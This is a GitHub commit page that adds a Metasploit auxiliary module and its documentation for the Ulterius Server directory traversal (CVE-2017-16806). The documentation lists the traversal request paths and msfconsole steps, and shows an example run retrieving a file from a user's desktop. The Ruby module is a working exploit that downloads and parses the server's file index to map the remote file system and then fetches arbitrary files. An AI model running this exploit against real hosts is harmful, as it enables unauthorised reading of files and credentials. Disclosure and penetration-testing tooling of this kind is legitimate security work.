Skip to content

Commit 1e9e9c9

Browse files
committed
Ulterius Server < v1.9.5.0 Directory Traversal
Adds documentation and module for Ulterius Server directory traversal vulnerability.
1 parent 6721b79 commit 1e9e9c9

File tree

2 files changed

+167
-0
lines changed

2 files changed

+167
-0
lines changed
Lines changed: 79 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,79 @@
1+
## Overview
2+
3+
This module exploits a directory traversal vulnerability in [Ulterius Server < v1.9.5.0](https://github.com/Ulterius/server/releases). The directory traversal flaw occurs in Ulterius Server's HttpServer.Process function call. While processing file requests, the HttpServer.Process function does not validate that the requested file is within the web server's root directory or a subdirectory.
4+
5+
## Verification Steps
6+
7+
- [ ] Install Ulterius Server < v1.9.5.0
8+
- [ ] `./msfconsole`
9+
- [ ] `use auxiliary/admin/http/ulterius_file_download`
10+
- [ ] `set index true`
11+
- [ ] `set targeturi '/…/fileIndex.db'`
12+
- [ ] `set rhost <rhost>`
13+
- [ ] `run`
14+
- [ ] Verify loot contains file system paths from remote file system.
15+
- [ ] `set index false`
16+
- [ ] `set targeturi '/C:/<path>/<to>/<file>'`
17+
- [ ] `run`
18+
- [ ] Verify contents of file
19+
20+
## Exploiting the Vulnerability
21+
22+
When requesting a file, a relative or absolute file path is needed so the appropriate request can be generated. Fortunately, Ulterius Server creates a file called fileIndex.db, which contains filenames and directories located on the server. By requesting fileIndex.db and parsing the retrieved data, absolute file paths can be retrieved for files hosted on the server. Using the information retrieved from parsing fileIndex.db, additional requests can be generated to download desired files.
23+
24+
As noted in the [EDB PoC](https://www.exploit-db.com/exploits/43141/), the fileIndex.db is usually located at:
25+
26+
`http://ulteriusURL:22006/.../fileIndex.db`
27+
28+
Note: 22006 was the default port after setting up the Ulterius Server.
29+
30+
After retrieving absolute paths for files, the files can be retrieved by sending requests of the form:
31+
32+
`http://ulteriusURL:22006/<DriveLetter>:/<path>/<to>/<file>`
33+
34+
Note: The [EDB PoC](https://www.exploit-db.com/exploits/43141/) used relative paths to download files but absolute paths can be used on Windows-platforms as well, because the HttpServer.Process function made use of the [Path.Combine](https://msdn.microsoft.com/en-us/library/fyy7a5kt(v=vs.110).aspx) function.
35+
36+
> If *path2* includes a root, *path2* is returned.
37+
38+
## Example Execution
39+
40+
This module was testing on Windows 7 SP1 x64.
41+
42+
```
43+
msf5 auxiliary(admin/http/ulterius_file_download) > options
44+
45+
Module options (auxiliary/admin/http/ulterius_file_download):
46+
47+
Name Current Setting Required Description
48+
---- --------------- -------- -----------
49+
INDEX false no Attempt to retrieve and parse fileIndex.db
50+
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
51+
RHOST yes The target address
52+
RPORT 22006 yes The target port (TCP)
53+
SSL false no Negotiate SSL/TLS for outgoing connections
54+
TARGETURI / yes The path of the web application
55+
VHOST no HTTP server virtual host
56+
57+
msf5 auxiliary(admin/http/ulterius_file_download) > set index true
58+
index => true
59+
msf5 auxiliary(admin/http/ulterius_file_download) > set targeturi '/.../fileIndex.db'
60+
targeturi => /.../fileIndex.db
61+
msf5 auxiliary(admin/http/ulterius_file_download) > set rhost 172.22.222.122
62+
rhost => 172.22.222.122
63+
msf5 auxiliary(admin/http/ulterius_file_download) > run
64+
65+
[*] Starting to parse fileIndex.db...
66+
[*] Remote file paths saved in: filepath
67+
[*] Auxiliary module execution completed
68+
msf5 auxiliary(admin/http/ulterius_file_download) > set index false
69+
index => false
70+
msf5 auxiliary(admin/http/ulterius_file_download) > set targeturi '/C:/users/pwnduser/desktop/tmp.txt'
71+
targeturi => /C:/users/pwnduser/desktop/tmp.txt
72+
msf5 auxiliary(admin/http/ulterius_file_download) > run
73+
74+
[*] Username: pwnduser
75+
Password: pleasedonthackme
76+
^not the actual password... nice try
77+
[*] Auxiliary module execution completed
78+
msf5 auxiliary(admin/http/ulterius_file_download) >
79+
```
Lines changed: 88 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,88 @@
1+
require 'zlib'
2+
require 'stringio'
3+
4+
class MetasploitModule < Msf::Auxiliary
5+
#Rank = ExcellentRanking
6+
include Msf::Exploit::Remote::HttpClient
7+
8+
def initialize(info = {})
9+
super(update_info(info,
10+
'Name' => 'Ulterius Server File Download Vulnerability',
11+
'Description' => %q{
12+
This module exploits a directory traversal vulnerability in Ulterius Server < v1.9.5.0
13+
to download files from the affected host. A file path is needed to download a file.
14+
Fortunately, Ulterius indexes every file on the system, which can be stored in the
15+
following location:
16+
17+
http://ulteriusURL:port/.../fileIndex.db.
18+
19+
This module can download and parse the fileIndex.db file. There is also an option to
20+
download a file using a provided path.
21+
},
22+
'Author' =>
23+
[
24+
'Rick Osgood', # Vulnerability discovery and PoC
25+
'Jacob Robles' # Metasploit module
26+
],
27+
'License' => MSF_LICENSE,
28+
'References' =>
29+
[
30+
[ 'EDB', '43141' ],
31+
[ 'CVE', '2017-16806' ]
32+
]))
33+
34+
register_options(
35+
[
36+
Opt::RPORT(22006),
37+
OptString.new('TARGETURI', [true, 'The path of the web application', '/']),
38+
OptBool.new('INDEX', [false, 'Attempt to retrieve and parse fileIndex.db', false])
39+
])
40+
end
41+
42+
def process_data(index, parse_data)
43+
length = parse_data[index].unpack('C')[0]
44+
length += parse_data[index+1].unpack('C')[0]
45+
length += parse_data[index+2].unpack('C')[0]
46+
length += parse_data[index+3].unpack('C')[0]
47+
48+
index += 4
49+
filename = parse_data[index...index+length]
50+
index += length
51+
return index, filename
52+
end
53+
54+
def inflate_parse(data)
55+
zi = Zlib::Inflate.new(window_bits =-15)
56+
data_inflated = zi.inflate(data)
57+
58+
parse_data = data_inflated[8...-1]
59+
remote_files = ""
60+
61+
index = 0
62+
print_status("Starting to parse fileIndex.db...")
63+
while index < parse_data.length
64+
index, filename = process_data(index, parse_data)
65+
index, directory = process_data(index, parse_data)
66+
remote_files += directory + '\\' + filename + "\n"
67+
68+
#skip FFFFFFFFFFFFFFFF
69+
index += 8
70+
end
71+
myloot = store_loot("ulterius.fileIndex.db", "text/plain", datastore['RHOST'], remote_files, "fileIndex.db", "Remote file system")
72+
print_status("Remote file paths saved in: #{myloot.to_s}")
73+
end
74+
75+
def run
76+
res = send_request_cgi({
77+
'uri' => normalize_uri(target_uri.path),
78+
'method' => 'GET'
79+
})
80+
if res && res.code == 200
81+
if datastore['INDEX']
82+
inflate_parse(res.body)
83+
else
84+
print_status(res.body)
85+
end
86+
end
87+
end
88+
end

0 commit comments

Comments
 (0)